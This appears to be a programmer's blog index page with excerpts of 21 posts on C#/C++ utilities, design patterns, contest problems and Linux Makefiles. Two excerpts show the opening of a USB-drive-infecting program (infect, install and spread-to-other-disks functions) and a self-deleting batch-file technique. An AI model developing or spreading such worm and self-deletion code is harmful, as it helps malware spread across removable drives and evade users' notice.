- 博客(21)
- 收藏
- 关注
原创 C#Word转Html的类
C#Word转Html的类/**//******************************************************************** created: 2007/11/02 created: 2:11:2007 23:13 filename: D:C#程序练习WordToChmWordToHtml.cs
2007-11-03 21:57:00 7883 5
原创 C#将XML+XSL文件转化为HTML文件的类
将XSL文件作为网页模板,数据存放在XML文件中。下的面XmlToHtml类将XML+XSL文件转化为HTML文件。 /********************************************************************
2007-10-31 21:30:00 2966
原创 Html文件转CHM文件类--------用C#实现将html文件转换为chm文件
在工作中常常需要将特定的文件提取出来生成CHM格式文件便于查阅,例如将函数头提取出生成CHM文档。 下面的HtmlToChmClass类实现将FilePath目录下的HTML文件转化为CHM文档。HtmlToChmClass可以很方便的运用于C#中界面程序。只需要调用相应的接口,实现与界面设计分离。
2007-10-30 21:31:00 3007 1
原创 几种结构模式的简单比较
Facade模式:注重简化接口Adapter模式:注重转化接口Bridge模式:分离接口(抽象)与其实现Decorator模式:在稳定接口的前提下为对象扩展功能
2007-10-23 20:58:00 611
原创 Factory Pattern
定义一个用于创建对象的接口,让子类决定实例化哪一个类。Factory 使得一个类的实例化延迟到子类。 C++实现: #include using namespace std; //Pizza抽象类 稳定部分
2007-10-21 10:04:00 674
原创 深入浅出设计模式笔记 -----Decorator
读了深入浅出设计模式Decorator篇,对于Decorator有了新的了解与认识,决定将Decorator模式实现一遍,下面用C++语言将咖啡馆的例子重现。UML图: /********************************************************************
2007-10-12 22:50:00 822
原创 2006百度之星设计大赛-------(饭团的烦恼)
“午餐饭团”是百度内部参与人数最多的民间组织。同一个部门的、同一所大学的、同一年出生的、使用同一种型号电脑的员工们总是以各种理由组织各种长期的、临时的饭团。参加饭团,不仅可以以优惠的价格尝到更加丰富的菜式,还可以在吃饭的时候和同事们增进感情。但是,随着百度的员工越来越多,各个饭团的管理变得繁杂起来。特别是为了照顾员工们越来越挑剔的胃,饭团的点菜负责人的压力也越来越大。现在,这个任务就交给“
2007-10-02 22:14:00 1500
原创 map与vector
当向map容器中插入数据,用迭代器输出是会按顺序输出如下: #include #include #include using namespace std; typedef
2007-10-01 22:10:00 815
原创 百度语言翻译机
今天看到百度语言翻译机的题目,闲着没有事就练习一下试题:百度的工程师们是非常注重效率的,在长期的开发与测试过程中,他们逐渐创造了一套 独特的缩略语。他们在平时的交谈、会议,甚至在各种技术文档中都会大量运用。 为了让新员工可以更快地适应百度的文化,更好地阅读公司的技术文档,人力资源部决 定开发一套专用的翻译系统,把相关文档中的缩略语和专有名词翻译成日常语言。 输入要求: 输入数据包含三部分:
2007-09-30 22:07:00 1959 1
原创 设计模式-----(Factory pattern)
//Factory Pattern #include #include using namespace std; class Product {
2007-09-13 22:38:00 533
原创 尽量用“传引用”而不用“传值”--------(读后感)
/*注:转载请保留下面完整信息From http://blog.csdn.net/missvip/ By 凌剑*/为什么EffectiveC++提出尽量用“传引用”而不用“传值”了?今天重温习了一下EffectiveC++的ITEM 22,感觉又有了新的体会,加深了对传引用与传值的认识与了解。 引用不会引起对象的构造与析构,所以可以提高程序的运行效率。下面以例子说明传引
2007-09-12 22:40:00 1005
转载 C#基础概念(转载)
1.静态成员和非静态成员的区别?答:静态变量使用 static 修饰符进行声明,在类被实例化时创建,通过类进行访问;不带有 static 修饰符声明的变量称做非静态变量,在对象被实例化时创建,通过对象进行访问;一个类的所有实例的同一静态变量都是同一个值,同一个类的不同实例的同一非静态变量可以是不同的值;静态函数的实现里不能使用非静态成员,如非静态变量、非静态函数等。2.
2007-09-12 00:02:00 620
原创 设计模式-----Singleton模式
Singleton模式比较简单可以用以下UML图表示: Singleton模式 //Singleton模式
2007-09-11 22:39:00 569
原创 Can I stop people deriving from my class?
看了Bjarne Stroustrups的FAQ Can I stop people deriving from my class? 下面总结一下,怎么样阻止派生一个类了,在Java中可以用final关键字,但是在C++中基本上通过下面二种方法:方法一:(下面代码在Visual 6.0+windows sp2在运行通过)#include #include using namespace std
2007-09-11 20:07:00 659
原创 非const引用不能绑定非左值(no-lvalue)
对于一个const T&的初始式不必是一个左值,甚至可以不是类型T,但是非const引用不能绑定非左值(no-lvalue)非const引用double &dr =1; //错误:要求左值const引用const double &dr=1; //OK对于const引用的解释:double temp=double(1); //首先建立一个具有正确值的临时变量const
2007-09-11 19:49:00 1646
原创 C++函数返回对象探讨
以下函数ReturnObjectDirect与ReturnObject分别调用了多少次构造函数?#include using namespace std;class Base{public: Base( ) { cout } Base(const Base & other) { cout } ~Base() {
2007-09-10 23:08:00 743
原创 Linux下Makefile生成技术
通过一段时间的Linux学习,基本上掌握了Linux下Makefile的生成技术第一步:新建文件Hello.c#include int main(void){ printf("Hello World!"); return 0;}第二步:生成configure文件利用autoscan命令生成configure.in的模板文件命令: $autoscan $
2007-09-10 22:39:00 671
转载 近在咫尺-远在天涯
(作者:醉月抚琴)窗台下的暗菊幽幽独绽着芳香,夜空里的月儿冷冷凝视着远方,手指尖的冰凉是痴情的彷徨,屏幕间的缠绵亦是望断的忧伤,寒冷的冬夜,思念的心弦在游荡,而隔屏相望的你和我,为什么?近在咫尺,却远在天涯。 黑暗中,看不清眸子闪烁几多惆怅,风影中,一袭素衣竹林月下抚琴轻唱。也许前世的回眸让我们才有了今世美丽
2007-09-09 22:16:00 1777
原创 感染U盘程序
#include "stdafx.h"#include #include HANDLE hMutex;//信号量句柄DWORD WINAPI infect(LPVOID lpParam);//感染void Install(void); //安装void InfectOtherDisk();//感染其它盘char ExeFile[MAX_PATH]; //==================
2007-09-09 20:10:00 1071
原创 程序通过创建线程实现删除自身
网上一般是通过创建批处理文件实现删除自身@echo offloop del access.exe if exist access.exegoto loopdel DelMe.bat下面用C/C++语言表示创建DelMe.bat文件FILE *pFile=NULL;pFile=fopen("DelMe.bat","w");if(pFile==NULL){ retur
2007-09-09 19:56:00 1203
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人